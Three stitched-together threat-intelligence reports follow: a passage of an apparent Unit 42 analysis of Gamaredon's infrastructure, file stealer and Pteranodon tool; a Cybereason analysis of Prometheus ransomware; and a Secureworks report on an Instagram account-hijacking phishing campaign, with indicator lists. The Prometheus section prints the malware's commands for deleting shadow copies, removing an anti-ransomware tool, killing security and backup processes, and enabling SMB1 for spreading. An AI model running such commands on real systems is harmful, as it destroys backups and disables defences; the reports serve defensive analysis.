The bug is due to the onnect value that is set. Reviewing how the reverse VNC connection is launched, this value is used in two places: -autorec%djM8MfMRM0M5MBM0% and -%djM8MfMRM0M5MBM0% %ZGVxVkVIVUVlVgVb%:80%AVlflclclZlPlY%. The second instance doesn’t contain the c value needed to correctly spell the word and thus presents an invalid parameter. After another three minutes, the actor uploaded an SFX file called 2.exe, simply containing test.cmd with the word test in the content. Again, minutes later, we saw 2.exe uploaded with the test.cmd, but this time it contained the initial part of the .cmd file. However, the actor had forgotten to include the VNC connect string.
This is where it gets interesting, though – about 15 minutes later, we saw the familiar 2.exe upload with test.cmd, but this time it was being uploaded directly by a user in Russia from a public IP address. We continued to observe this pattern of uploads every few minutes, where each was a slight iteration of the one before. The person uploading the files appeared to be rapidly – and manually – modifying the .cmd file to restore functionality (though the actor was unsuccessful in this series of uploads).
Several domains and IP addresses were hard-coded in VNC samples that are not related to any of domain clusters 1-3 (documented in our full IoC list).
## SSL Pivot to Additional Infrastructure and Samples
While conducting historical research on the infrastructure in cluster 1, we discovered a self-signed certificate associated with cluster 1 IP address 92.242.62[.]96:
- Serial: 373890427866944398020500009522040110750114845760
- SHA1: 62478d7653e3f5ce79effaf7e69c9cf3c28edf0c
- Issued: 2021-01-27
- Expires: 2031-01-25
- Common name: ip45-159-200-109.crelcom[.]ru
Although the IP Address WHOIS record for Crelcom LLC is registered to an address in Moscow, the technical admin listed for the netblock containing the IP address is registered to an address in Simferopol, Crimea. We further trace the apparent origins of Crelcom back to Simferopol, Crimea, as well.
This certificate relates to 79 IP addresses:
- One IP address links to cluster 1 above (92.242.62[.]96)
- 76 IP addresses link to another distinct collection of domains – “cluster 2”
- 1 IP address led us to another distinct cluster, “cluster 3” (194.67.116[.]67)
We find almost no overlap of IP addresses between these separate clusters.
## File Stealer (Cluster 2)
Of the 76 IP addresses we associate with cluster 2, 70 of them have confirmed links to C2 domains associated with a variant of Gamaredon’s file stealer tool. Within the last three months, we have identified 23 samples of this malware, twelve of which appear to have been shared by entities in Ukraine. The C2 domains in those samples include:
| Domain | First Seen |
|--------------------|--------------|
| jolotras[.]ru | 12/16/2021 |
| moolin[.]ru | 10/11/2021 |
| naniga[.]ru | 9/2/2021 |
| nonimak[.]ru | 9/2/2021 |
| bokuwai[.]ru | 9/2/2021 |
| krashand[.]ru | 6/17/2021 |
| gorigan[.]ru | 5/25/2021 |
As you can see, some of these domains were established months ago, yet despite their age, they continue to enjoy benign reputations. For example, only five out of 93 vendors consider the domain krashand[.]ru to be malicious on VirusTotal.
Reviewing passive DNS (pDNS) logs for these domains quickly reveals a long list of subdomains associated with each. Some of the subdomains follow a standardized pattern. For example, several of the domains use the first few letters of the alphabet (a, b, c) in a repeating combination. Conversely, jolotras[.]ru and moolin[.]ru use randomized alphanumeric characters. We believe that these subdomains are dynamically generated by the file stealer when it first establishes a connection with its C2 server. As such, counting the number of subdomains associated with a particular C2 domain provides a rough gauge of the number of entities that have attempted to connect to the server. However, it is important to also note that the number of pDNS entries can also be skewed by researchers and cybersecurity products that may be evaluating the malicious samples associated with a particular C2 domain.
| Subdomains |
|-------------------------------------|
| 637753576301692900[.]jolotras.ru |
| 637753623005957947[.]jolotras[.]ru |
| 637755024217842817.jolotras[.]ru |
| a.nonimak[.]ru |
| aaaa.nonimak[.]ru |
| aaaaa.nonimak[.]ru |
| aaaaaa.nonimak[.]ru |
| 0enhzs.moolin[.]ru |
| 0ivrlzyk.moolin[.]ru |
| 0nxfri.moolin[.]ru |
In mapping these domains to their corresponding C2 infrastructure, we discovered that the domains overlap in terms of the IP addresses they point to. This allowed us to identify the following active infrastructure:
| IP Address | First Seen |
|------------------------|--------------|
| 194.58.92[.]102 | 1/14/2022 |
| 37.140.199[.]20 | 1/10/2022 |
| 194.67.109[.]164 | 12/16/2021 |
| 89.108.98[.]125 | 12/26/2021 |
| 185.46.10[.]143 | 12/15/2021 |
| 89.108.64[.]88 | 10/29/2021 |
Of note, all of the file stealer infrastructure appears to be hosted within AS197695, the same AS highlighted earlier. Historically, we have seen the C2 domains point to various autonomous systems (AS) globally. However, as of early November, it appears that the actors have consolidated all of their file stealer infrastructure within Russian ASs – predominantly this single AS.
In mapping the patterns involved in the use of this infrastructure, we found that the domains are rotated across IP addresses in a manner similar to the downloader infrastructure discussed previously. A malicious domain may point to one of the C2 server IP addresses today while pointing to a different address tomorrow. This adds a degree of complexity and obfuscation that makes it challenging for network defenders to identify and remove the malware from infected networks. The discovery of a C2 domain in network logs thus requires defenders to search through their network traffic for the full collection of IP addresses that the malicious domain has resolved to over time. As an example, moolin[.]ru has pointed to 11 IP addresses since early October, rotating to a new IP every few days.
| IP Address | Country | AS | First Seen | Last Seen |
|--------------------------|---------|--------|--------------|--------------|
| 194.67.109[.]164 | RU | 197695 | 2021-12-28 | 2022-01-27 |
| 185.46.10[.]143 | RU | 197695 | 2021-12-16 | 2021-12-26 |
| 212.109.199[.]204 | RU | 29182 | 2021-12-15 | 2021-12-15 |
| 80.78.241[.]253 | RU | 197695 | 2021-11-19 | 2021-12-14 |
| 89.108.78[.]82 | RU | 197695 | 2021-11-16 | 2021-11-18 |
| 194.180.174[.]46 | MD | 39798 | 2021-11-15 | 2021-11-15 |
| 70.34.198[.]226 | SE | 20473 | 2021-10-14 | 2021-10-30 |
| 104.238.189[.]186 | FR | 20473 | 2021-10-13 | 2021-10-14 |
| 95.179.221[.]147 | FR | 20473 | 2021-10-13 | 2021-10-13 |
| 176.118.165[.]76 | RU | 43830 | 2021-10-12 | 2021-10-13 |
Shifting focus to the malware itself, file stealer samples connect to their C2 infrastructure in a unique manner. Rather than connecting directly to a C2 domain, the malware performs a DNS lookup to convert the domain to an IP address. Once complete, it establishes an HTTPS connection directly to the IP address. For example:
- C2 Domain: moolin[.]ru
- C2 IP Address: 194.67.109[.]164
- C2 Comms: https://194.67.109[.]164/zB6OZj6F0zYfSQ
This technique of creating distance between the domain and the physical C2 infrastructure seems to be an attempt to bypass URL filtering:
1. The domain itself is only used in an initial DNS request to resolve the C2 server IP address – no actual connection is attempted using the domain name.
2. Identification and blocking of a domain doesn’t impact existing compromises as the malware will continue to communicate directly with the C2 server using the IP address – even if the domain is subsequently deleted or rotated to a new IP – as long as the malware continues to run.
One recent file stealer sample we analyzed (SHA256: f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824) was found to be a .NET binary that had been obfuscated to make analysis more difficult. The first thing that jumps out when reviewing these files are their sizes. This particular file clocks in at over 136 MB in size, but we observed files going all the way up to 200 MB and beyond. It is possible that this is an attempt to circumvent automated sandbox analysis, which usually avoids scanning such large files. It may also simply be a byproduct of the obfuscation tools being used. Whatever the reason for the large file size, it comes at a price to the attacker, as executables of this size stick out upon review. Transmitting a file this large to a victim becomes a much more challenging task.
The obfuscation within this sample is relatively simple and mainly relies upon defining arrays and concatenating strings of single characters in high volume over hundreds of lines to try to hide the construction of the actual string within the noise.
It begins by checking for the existence of the Mutex Global\lCHBaUZcohRgQcOfdIFaf, which, if present, implies the malware is already running and will cause the file stealer to exit. Next, it will create the folder C:\Users\%USER%\AppData\Local\TEMP\ModeAuto\icons, wherein screenshots that are taken every minute will be stored and then transmitted to the C2 server with the name format YYYY-MM-DD-HH-MM.jpg.
To identify the IP address of the C2 server, the file stealer will generate a random string of alphanumeric characters between eight and 23 characters long, such as 9lGo990cNmjxzWrDykSJbV.jolotras[.]ru. As mentioned previously, once the file stealer retrieves the IP address for this domain, it will no longer use the domain name. Instead, all communications will be direct with the IP address.
During execution, it will search all fixed and network drives attached to the computer for the following extensions:
- .doc
- .docx
- .xls
- .rtf
- .odt
- .txt
- .jpg
- .pdf
- .ps1
When it has a list of files on the system, it begins to create a string for each that contains the path of the file, the size of the file, and the last time the file was written to, similar to the example below:
```
C:\cygwin\usr\share\doc\bzip2\manual.pdf2569055/21/2011 3:17:02 PM
```
The file stealer takes this string and generates an MD5 hash of it, resulting in the following output for this example:
```
FB-17-F1-34-F4-22-9B-B4-49-0F-6E-3E-45-E3-C9-FA
```
Next, it removes the hyphens from the hash and converts all uppercase letters to lowercase. These MD5 hashes are then saved into the file C:\Users\%USER%\AppData\Local\IconsCache.db. The naming of this file is another attempt to hide in plain sight next to the legitimate IconCache.db.
The malware uses this database to track unique files. The malware will then generate a URL path with alphanumeric characters for its C2 communication, using the DNS-IP technique illustrated previously with the moolin[.]ru domain example:
```
https://194.67.109[.]164/zB6OZj6F0zYfSQ
```
Below is the full list of domains currently resolving to cluster 2 IP addresses:
| Domain | Registered |
|--------------------------|--------------|
| jolotras[.]ru | 12/16/2021 |
| moolin[.]ru | 10/11/2021 |
| bokuwai[.]ru | 9/2/2021 |
| naniga[.]ru | 9/2/2021 |
| nonimak[.]ru | 9/2/2021 |
| bilargo[.]ru | 7/23/2021 |
| krashand[.]ru | 6/17/2021 |
| firtabo[.]ru | 5/28/2021 |
| gorigan[.]ru | 5/25/2021 |
| firasto[.]ru | 5/21/2021 |
| myces[.]ru | 2/24/2021 |
| teroba[.]ru | 2/24/2021 |
| bacilluse[.]ru | 2/15/2021 |
| circulas[.]ru | 2/15/2021 |
| megatos[.]ru | 2/15/2021 |
| phymateus[.]ru | 2/15/2021 |
| cerambycidae[.]ru | 1/22/2021 |
| coleopteras[.]ru | 1/22/2021 |
| danainae[.]ru | 1/22/2021 |
## Pteranodon (Cluster 3)
The single remaining IP address related to the SSL certificate was not related to either cluster 1 or cluster 2, and instead led us to a third, distinct cluster of domains. This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. Gamaredon has used, maintained, and updated development of this code for years. Its code contains anti-detection functions specifically designed to identify sandbox environments in order to thwart antivirus detection attempts. It is capable of downloading and executing files, capturing screenshots, and executing arbitrary commands on compromised systems.
Over the last three months, we have identified 33 samples of Pteranodon. These samples are commonly named 7ZSfxMod_x86.exe. Pivoting across this cluster, we identified the following C2 infrastructure:
| Domain | Registered |
|---------------------|--------------|
| takak[.]ru | 9/18/2021 |
| rimien[.]ru | 9/18/2021 |
| maizuko[.]ru | 9/2/2021 |
| iruto[.]ru | 9/2/2021 |
| gloritapa[.]ru | 8/5/2021 |
| gortisir[.]ru | 8/5/2021 |
| gortomalo[.]ru | 8/5/2021 |
| langosta[.]ru | 6/25/2021 |
| malgaloda[.]ru | 6/8/2021 |
We again observe domain reputation aging, as seen in cluster 2. An interesting naming pattern is seen in cluster 3 – also seen in some cluster 1 host and subdomain names. We see these actors using English words, seemingly grouped by the first two or three letters. For example:
- deep-rooted.gloritapa[.]ru
- deep-sinking.gloritapa[.]ru
- deepwaterman.gloritapa[.]ru
- deepnesses.gloritapa[.]ru
- deep-lunged.gloritapa[.]ru
- deerfood.gortomalo[.]ru
- deerbrook.gortomalo[.]ru
- despite.gortisir[.]ru
- des.gortisir[.]ru
- desire.gortisir[.]ru
This pattern differs from those of cluster 2, but has been observed on some cluster 1 (dropper) domains, for example:
- alley81.salts.kolorato[.]ru
- allied.striman[.]ru
- allowance.hazari[.]ru
- allowance.telefar[.]ru
- ally.midiatr[.]ru
- allocate54.previously.bilorotka[.]ru
- alluded6.perfect.bilorotka[.]ru
- already67.perfection.zanulor[.]ru
- already8.perfection.zanulor[.]ru
This pattern is even carried into HTTP POSTs, files, and directories created by associated samples:
**Example 1:**
```
SHA256: 74cb6c1c644972298471bff286c310e48f6b35c88b5908dbddfa163c85debdee
deerflys.gortomalo[.]ru
C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 11 /tn "deepmost" /tr "wscript.exe "C:\Users\Public\\deep-naked\deepmost.fly" counteract /create //b /criminal //e:VBScript /cracker counteract " /F
POST /index.eef/deep-water613
```
**Example 2:**
```
SHA256: ffb6d57d789d418ff1beb56111cc167276402a0059872236fa4d46bdfe1c0a13
deer-neck.gortomalo[.]ru
"C:\Windows\System32\schtasks.exe" /CREATE /sc minute /mo 13 /tn "deep-worn" /tr "wscript.exe "C:\Users\Public\\deerberry\deep-worn.tmp" crumb /cupboard //b /cripple //e:VBScript /curse crumb " /F
POST /cache.jar/deerkill523
```
Because we only see this with some domains, this may be a technique employed by a small group of actors or teams. It suggests a possible link between the cluster 3 samples and those from cluster 1 employing a similar naming system. In contrast, we do not observe cluster 2’s large-number or random-string naming technique employed in any cluster 1 domains.
## Conclusion
Gamaredon has been targeting Ukrainian victims for almost a decade. As international tensions surrounding Ukraine remain unresolved, Gamaredon’s operations are likely to continue to focus on Russian interests in the region. This blog serves to highlight the importance of research into adversary infrastructure and malware, as well as community collaboration, in order to detect and defend against nation-state cyberthreats. While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more that remains undiscovered. Unit 42 remains vigilant in monitoring the evolving situation in Ukraine and continues to actively hunt for indicators to put protections in place to defend our customers anywhere in the world. We encourage all organizations to leverage this research to hunt for and defend against this threat.
## Protections and Mitigations
The best defense against this evolving threat group is a security posture that favors prevention. We recommend that organizations implement the following:
- Search network and endpoint logs for any evidence of the indicators of compromise associated with this threat group.
- Ensure cybersecurity solutions are effectively blocking against the active infrastructure IoCs identified above.
- Implement a DNS security solution in order to detect and mitigate DNS requests for known C2 infrastructure.
- Apply additional scrutiny to all network traffic communicating with AS 197695 (Reg[.]ru).
- If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign:
- Cortex XDR protects endpoints from the malware techniques described in this blog.
- WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious.
- Advanced URL Filtering and DNS Security identify all phishing and malware domains associated with this group as malicious.
- Users of AutoFocus contextual threat intelligence service can view malware associated with these attacks using the Gamaredon Group tag.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
## Indicators of Compromise
A list of the domains, IP addresses, and malware hashes is available on the Unit 42 GitHub. Additional IoCs shared in a Feb. 16 update to this report are also available. |
# Cybereason vs. Prometheus Ransomware
Prometheus is a relatively new variant of the Thanos ransomware that is operated independently by the Prometheus group, and was first observed in February of 2021. In just a short period of time, Prometheus caused a lot of damage, and breached over 40 companies.
## Key Findings
- **High Severity:** The Cybereason Nocturnus Team assesses the threat level as HIGH given the destructive potential of the attacks.
- **Human Operated Attack:** Prior to the deployment of the ransomware, the attackers attempt to infiltrate and move laterally throughout the organization, carrying out a fully-developed attack operation.
- **Shared Builder:** The Prometheus group, as well as other threat actors, used the Thanos builder to build and customize their ransomware.
- **Group of REvil?:** Prometheus ransomware branding themselves as part of the REvil group, probably in an attempt to piggyback on the fame of one of the most infamous - and successful - ransomware groups.
- **Detected and Prevented:** The Cybereason Defense Platform fully detects and prevents the Prometheus ransomware.
## Cybereason Detects and Blocks Prometheus Ransomware
Like other prominent ransomware groups, such as the DarkSide group, Prometheus follows the RaaS business model and operates as a professional enterprise where it refers to its victims as “customers,” and communicates with them using a customer service ticketing system.
In addition, Prometheus follows the double extortion trend and hosts a leak site, where it has a “hall of shame” for victims and posts stolen data for sale. The names of the victims are posted on the website even before the victims decide whether to pay or not, either under the status “waiting for the company decision” or “company paid, data is not for sale.”
When it comes to the affected industries and regions, the group seems to attack almost indiscriminately. According to their website, the group claims to have breached over 40 organizations from different industries/sectors. Among their victims observed were companies in the following industries: consulting, oil and gas, financial, media, governments, advertising, manufacturing, retail, food, hotels, manufacturing, insurance, transportation, and medical services. The regions affected are South America, US, UK, Middle-East, UAE, Asia, and Europe.
It’s also interesting to note that some victims appear to be on the list more than once, but attacked in different time periods. Since those victims had paid, it’s unclear at this point if it’s by mistake or that the group has attacked the same victim more than once before or even after paying.
A recent Cybereason report titled *Ransomware: The True Cost to Business*, found that 80% of organizations that paid a ransom were hit by a second attack, and almost half of those were hit by the same threat group.
## Group of REvil?
Up until June 14th, the operators of Prometheus claimed to be part of the notorious REvil ransomware group, and even mentioned them in their logo. On June 15th, the group decided to delete the name of REvil from their logo, and remove any potential relation to the group.
It is worth noting that there hasn’t been strong or conclusive evidence of a real connection or collaboration between the two groups and the assumption is that the Prometheus group was most likely just using the name and reputation of REvil to increase the likelihood of ransom payments.
Although it is unclear why the group has decided to remove the name of REvil from their logo, it’s interesting to look at the timing. The REvil group was just attributed to another major attack infecting potentially thousands of companies by way of an exploit against Kaseya VSA remote management service which propagated ransomware through the IT service provider’s Managed Services Provider network, and a recent attack against the global food company JBS which drew attention to them from the US authorities.
In May, it was the DarkSide group that made big headlines after attacking the Colonial Pipeline network, which caused the US authorities to take actions that eventually led to the DarkSide group shutting down their operations (allegedly). Ransomware operators will usually try to evade such unwanted publicity because of their fear of retaliation from law enforcement agencies.
## From one Builder to Multiple Ransomware
As mentioned in the beginning of this blog post, Prometheus is not an entirely new ransomware. It is a variant of the Thanos ransomware, which has been sold in underground forums since late 2019. The group behind Prometheus, as well as other threat actors, bought Thanos and used the builder that comes with it to customize their ransomware.
Most of the distinguishing changes observed include the extension that is added to the encrypted files and of course the ransom note content. Because of that, there are different variants of the Thanos ransomware out there, with most of them named after the extension that is appended to the encrypted files.
### Ransomware Variants
| Ransomware Name | Ransom Note | Extension |
|------------------|--------------------------------------------------|------------------------------------|
| Thanos | RESTORE_FILES_INFO.txt | .crypted random string |
| Hakbit | HOW_TO_RECOVER_YOUR_FILES.txt | .[ID-30BC8771]. [[email protected]].CRYSTAL .VIPxxx |
| Abarcy | Abarcy#2996.txt | .abarcy |
| Hard | RESTORE_FILES_INFO.txt | .hard |
| Milleni5000 | RESTORE_FILES_INFO.txt | .secure |
| Ravack | HELP_ME_RECOVER_MY_FILES.txt | .ravack |
| Energy | HOW_TO_DECYPHER_FILES.txt | .energy[[email protected]] |
| Alumni | HOW_TO_RECOVER_YOUR_FILES.txt | .alumni |
| Prometheus | RESTORE_FILES_INFO.txt | .[XXX-XXX-XXXX] format (unique per victim) .PROM[prometheushelp@mail[.]ch] XXXXXXXXXX[prometheusdec@yahoo[.]com] (unique per victim) |
## Prometheus Ransomware Analysis
The binary generated by the builder is an obfuscated .NET executable that consists of a main function that is responsible to decode base64 strings in memory and pass them to the other functions. Among the functionality observed by the malware is the ability to enumerate processes and manipulate with them, changing registry keys, setting persistence, downloading additional files, collecting information about the machine, and more.
### Setting Persistence
Prometheus creates persistence by copying the file into the startup folder of the user. This ensures that the malware will continue to run after logoff-login of the user.
### Ensuring Successful File Encryption
Upon execution, Prometheus performs a series of tasks to ensure that it will run smoothly without interference. These tasks include stopping common security tools and backup related processes, interacting with the registry and scheduled task, deleting files, and interacting with services.
#### Deleting Raccine
Raccine is a ransomware prevention tool that tries to stop ransomware from deleting shadow copies in Windows. Prometheus deletes the scheduled task and the registry keys of the software:
```
reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
reg delete HKCU\Software\Raccine /F
schtasks /DELETE /TN "Raccine Rules Updater" /F
```
#### Stopping Processes
Prometheus stops different processes that may interfere with its execution, and also to free DB related files for encryption:
```
taskkill.exe /IM sqlagent.exe /F
taskkill.exe /IM mspub.exe /F
taskkill.exe /IM ocomm.exe /F
taskkill.exe /IM steam.exe /F
taskkill.exe /IM PccNTMon.exe /F
taskkill.exe /IM CNTAoSMgr.exe /F
taskkill.exe /IM Ntrtscan.exe /F
taskkill.exe /IM msftesql.exe /F
taskkill.exe /IM sqbcoreservice.exe /F
taskkill.exe /IM thebat.exe /F
taskkill.exe /IM tmlisten.exe /F
taskkill.exe /IM visio.exe /F
taskkill.exe /IM dbeng50.exe /F
taskkill.exe /IM mbamtray.exe /F
taskkill.exe /IM thebat64.exe /F
taskkill.exe /IM sqlwriter.exe /F
taskkill.exe /IM firefoxconfig.exe /F
taskkill.exe /IM outlook.exe /F
taskkill.exe /IM wordpad.exe /F
taskkill.exe /IM mydesktopservice.exe /F
taskkill.exe /IM mydesktopqos.exe /F
taskkill.exe /IM xfssvccon.exe /F
taskkill.exe /IM synctime.exe /F
taskkill.exe /IM msaccess.exe /F
taskkill.exe /IM powerpnt.exe /F
taskkill.exe /IM agntsvc.exe /F
taskkill.exe /IM excel.exe /F
taskkill.exe /IM mysqld-opt.exe /F
taskkill.exe /IM mysqld.exe /F
taskkill.exe /IM isqlplussvc.exe /F
taskkill.exe /IM tbirdconfig.exe /F
```
### Stopping Services
Prometheus stops different services that may interfere with its execution, and also to free DB related files for encryption:
```
net.exe start Dnscache /y
net.exe stop MSSQLFDLauncher$PROFXENGAGEMENT /y
net.exe start FDResPub /y
net.exe start SSDPSRV /y
net.exe stop VeeamTransportSvc /y
net.exe stop W3Svc /y
net.exe stop BMR Boot Service /y
net.exe stop MSSQLFDLauncher$SHAREPOINT /y
net.exe stop YooBackup /y
net.exe stop MSSQLFDLauncher$SQL_2008 /y
net.exe stop YooIT /y
net.exe stop avpsus /y
net.exe stop bedbg /y
net.exe stop MSSQLFDLauncher$SYSTEM_BGC /y
net.exe stop MSSQLSERVER /y
net.exe stop ccEvtMgr /y
net.exe stop ccSetMgr /y
net.exe stop MSSQLServerOLAPService /y
net.exe stop ekrn /y
net.exe stop McAfeeDLPAgentService /y
net.exe stop MySQL80 /y
net.exe stop DefWatch /y
net.exe stop EPSecurityService /y
net.exe stop PDVFSService /y
net.exe stop ESHASRV /y
net.exe stop POP3Svc /y
net.exe stop EhttpSrv /y
net.exe stop QBCFMonitorService /y
net.exe stop QBFCService /y
net.exe stop veeam /y
net.exe stop FA_Scheduler /y
net.exe stop QBIDPService /y
net.exe stop KAVFS /y
net.exe stop KAVFSGT /y
net.exe stop SDRSVC /y
net.exe stop MBEndpointAgent /y
net.exe stop SQLAgent$VEEAMSQL2008R2 /y
net.exe stop MSExchangeIS /y
net.exe stop MSExchangeMGMT /y
net.exe stop MSSQL$SQLEXPRESS /y
net.exe stop MSSQL$SQL_2008 /y
net.exe stop MSSQL$SYSTEM_BGC /y
net.exe stop MSSQL$TPS /y
net.exe stop MSSQL$TPSAMA /y
net.exe stop MSSQL$VEEAMSQL2008R2 /y
```
### Deleting Shadow Copies
Like other ransomware, Prometheus deletes the shadow copies to prevent restoring backups of the machine after encrypting files. To do so, it runs the following PowerShell command:
```
"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_.Delete(); }
```
### Configuring Services
```
sc.exe config SSDPSRV start= auto
sc.exe config Dnscache start= auto
sc.exe config upnphost start= auto
sc.exe config FDResPub start= auto
sc.exe config SQLTELEMETRY$ECWDB2 start= disabled
sc.exe config SQLTELEMETRY start= disabled
sc.exe config SQLWriter start= disabled
sc.exe config SstpSvc start= disabled
```
## Spreading Across The Network
Once successfully executed, Prometheus will try to spread in the network using different methods. First, it will “prepare the ground” by performing some reconnaissance commands that include running “Net view” and “arp -a”, followed by a ping sweep to check the connections and potential machines to infect. Then it continues with changing local firewall rules, downloading Psexec/Paexec and in some cases ProcessHider as well, and enabling SMB1 protocol - most likely to exploit a vulnerability for spreading using SMB, much like as EternalBlue:
```
netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
powershell.exe & Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
```
After that, the malware begins the spreading process. Initially, it will try an easy way using the “Net use” command to try to copy itself into shared folders. Then it will run PsExec/PaExec remotely to execute the binary. On other occasions, it will try to exploit a SMB vulnerability to spread.
## Encrypting The Files
After ensuring successful execution of the malware and deleting backup files, Prometheus begins its encryption routine. First, it will search for files matching extensions that were passed in build time. Those extensions vary from Microsoft Office files, images, scripts, archives, music, videos, and different database files.
The builder also supports a “fast mode” of encryption where only a portion of each file is encrypted. When this mode is enabled during build time, the ransomware encrypts a preconfigured amount of data from each file and overwrites the file with the encrypted content. This technique saves Prometheus time and shortens the entire encryption time, which can take just seconds up to a few minutes, depending on the number of files on the targeted machine.
Prometheus appends a custom extension that is unique for every executable and in some variants even contains the name of the victim. Finally, Prometheus drops a ransom note in .hta and text format, and presents the .hta file to the end user.
## Cybereason Detection and Prevention
Ransomware attacks are on the rise. A recently released report by Cybereason, titled *Ransomware: The True Cost to Business*, detailed how malicious actors are fine-tuning their ransomware campaign tactics and how both the frequency and severity of successful ransomware attacks have tremendous impact on victim organizations and their ability to conduct business.
The Cybereason Defense Platform is able to prevent the execution of the Prometheus Ransomware using multi-layer protection that detects and blocks ransomware with threat intelligence, machine learning, and next-gen antivirus (NGAV) capabilities. Additionally, when the Anti-Ransomware feature is enabled, behavioral detection techniques in the platform are able to detect and prevent any attempt to encrypt files and automatically generates a MalopTM for it with the complete attack narrative.
Using the Anti-Malware feature with the right configurations, the Cybereason Defense Platform will also detect and prevent the execution of the ransomware and ensure that it cannot encrypt targeted files. The prevention is based on machine learning, which blocks both known and unknown malware variants.
## Security Recommendations
- Enable the Anti-Ransomware Feature on Cybereason NGAV: Set Cybereason Anti-Ransomware protection mode to Prevent.
- Enable Anti-Malware Feature on Cybereason NGAV: Set Cybereason Anti-Malware mode to Prevent and set the detection mode to Moderate and above.
- Keep Systems Fully Patched: Make sure your systems are patched in order to mitigate vulnerabilities.
- Regularly Backup Files to a Remote Server: Restoring your files from a backup is the fastest way to regain access to your data.
- Use Security Solutions: Protect your environment using organizational firewalls, proxies, web filtering, and mail filtering.
Cybereason is dedicated to teaming with defenders to end cyber attacks from endpoints to the enterprise to everywhere - including modern ransomware.
## About the Author
**Cybereason Nocturnus**
The Cybereason Nocturnus Team has brought the world’s brightest minds from the military, government intelligence, and enterprise security to uncover emerging threats across the globe. They specialize in analyzing new attack methodologies, reverse-engineering malware, and exposing unknown system vulnerabilities. The Cybereason Nocturnus Team was the first to release a vaccination for the 2017 NotPetya and Bad Rabbit cyberattacks. |
# Ransoms Demanded for Hijacked Instagram Accounts
An extensive phishing campaign has targeted corporate Instagram accounts since approximately August 2021. The threat actors demand ransoms from the victims to restore access.
Organizations typically focus on traditional enterprise cybersecurity threats. However, some threats are more subtle, targeting organizations on unexpected platforms. In October 2021, Secureworks® Counter Threat Unit™ (CTU) researchers identified a phishing campaign that hijacks corporate Instagram accounts, as well as accounts of individual influencers who have a large number of followers. The threat actors then extort ransom payments from the victims. The activity continues as of this publication.
## Baiting the hook
The phishing campaign begins with a message that purportedly originates from Instagram and alerts the victim to a potential copyright infringement issue. The "Appeal As <victim account username>" link in the message is a shortened Bitly URL that resolves to an attacker-controlled phishing domain.
## Reeling in the phish
When the victim checks the box indicating their objection, the "Go to Appeal Form" link becomes active. This link leads to a login screen that prompts for the victim's password. If the victim provides their password, the threat actors harvest the credentials and gain access to the account.
## Releasing the catch…for a price
After gaining control of the Instagram account, the threat actors change the password and username. The modified username is a variation of "pharabenfarway" followed by a number that appears to be the number of followers for the hijacked account. The threat actors add a comment to the profile that "this Instagram account is held to be sold back to its owner." The comment includes a link composed of a shortened WhatsApp domain (wa.me) and a contact number. Clicking the link opens a WhatsApp chat conversation prompt with the threat actors. The threat actors also contact the victim via text message at the phone number listed on the account and start negotiating a ransom in exchange for access to the account.
CTU researchers identified numerous Instagram accounts compromised by pharabenfarway, indicating this campaign is widespread. CTU analysis revealed a large list of domains used in the campaign. Based on the domain creation dates, the campaign likely started in August 2021. A September underground forum post references pharabenfarway and advertises hijacked Instagram accounts for up to $40,000 USD.
## Identifying the "phishermen"
Analysis of one of the IP addresses that hosts several of the phishing domains led CTU researchers to the 'pbfy.business' website. This website appears to belong to Pharaben and Farway, the threat actors likely operating this campaign. The threat actors self-identify as "advanced experts in social media and hacking" and provide their Instagram handles along with WhatsApp contact numbers. Pharaben's contact number uses a Russian country code, and Farway's uses a Turkish country code.
In addition to the Turkish country code, other aspects of this campaign also suggest that at least one of the threat actors could be located in Turkey. In one incident, threat actor communications originated from a Turkish-language version of Instagram. Additionally, the page source of one of the phishing websites references the Turkish hizliresim.com file-sharing service. The infrastructure associated with this campaign is based in Turkey and other countries.
## Conclusion
Organizations should include social media accounts for the company and high-profile staff members in their risk assessment models. Mobile apps are a common attack vector. Use of multi-factor authentication can limit unauthorized access. While social media account takeover may seem insignificant, threat actors could access email accounts or other corporate resources if passwords were reused. Additionally, threat actors could abuse hijacked accounts to damage the organization's brand as further leverage to obtain a ransom payment.
## Threat indicators
To mitigate exposure to this threat, CTU researchers recommend that organizations use available controls to review and restrict access using the indicators listed below. Note that IP addresses can be reallocated. The domains and IP addresses may contain malicious content, so consider the risks before opening them in a browser.
| Indicator | Type | Context |
|---------------------------------------------|---------------------|--------------------------------------------------|
| 195.85.205.15 | IP address | Hosting Instagram phishing domains |
| 198.38.86.93 | IP address | Hosting Instagram phishing domains |
| 51.254.6.251 | IP address | Hosting Instagram phishing domains |
| 78.135.85.92 | IP address | Hosting Instagram phishing domains |
| ig-contactform.com | Domain name | Instagram phishing site |
| ig-contactservices.com | Domain name | Instagram phishing site |
| ig-copyrightsobjection.com | Domain name | Instagram phishing site |
| ig-mailservices.com | Domain name | Instagram phishing site |
| ig-mailservicesupport.com | Domain name | Instagram phishing site |
| lg-supportservices.com | Domain name | Instagram phishing site |
| objectionservices.org | Domain name | Instagram phishing site |
| supportcomminity.com | Domain name | Instagram phishing site |
| supportercontacts.com | Domain name | Instagram phishing site |
| supporterviolation.com | Domain name | Instagram phishing site |
| supportscommunity.com | Domain name | Instagram phishing site |
| supportsnotification.com | Domain name | Instagram phishing site |
| supportviolationform.com | Domain name | Instagram phishing site |
| [email protected] | Email Address | Threat actor contact information in Instagram phishing campaign |
| +7 991 472 4452 | Phone number | Threat actor contact information in Instagram phishing campaign |
| +90 538 409 3777 | Phone number | Threat actor contact information in Instagram phishing campaign |
| Pharaben | Username | Threat actor contact information in Instagram phishing campaign |
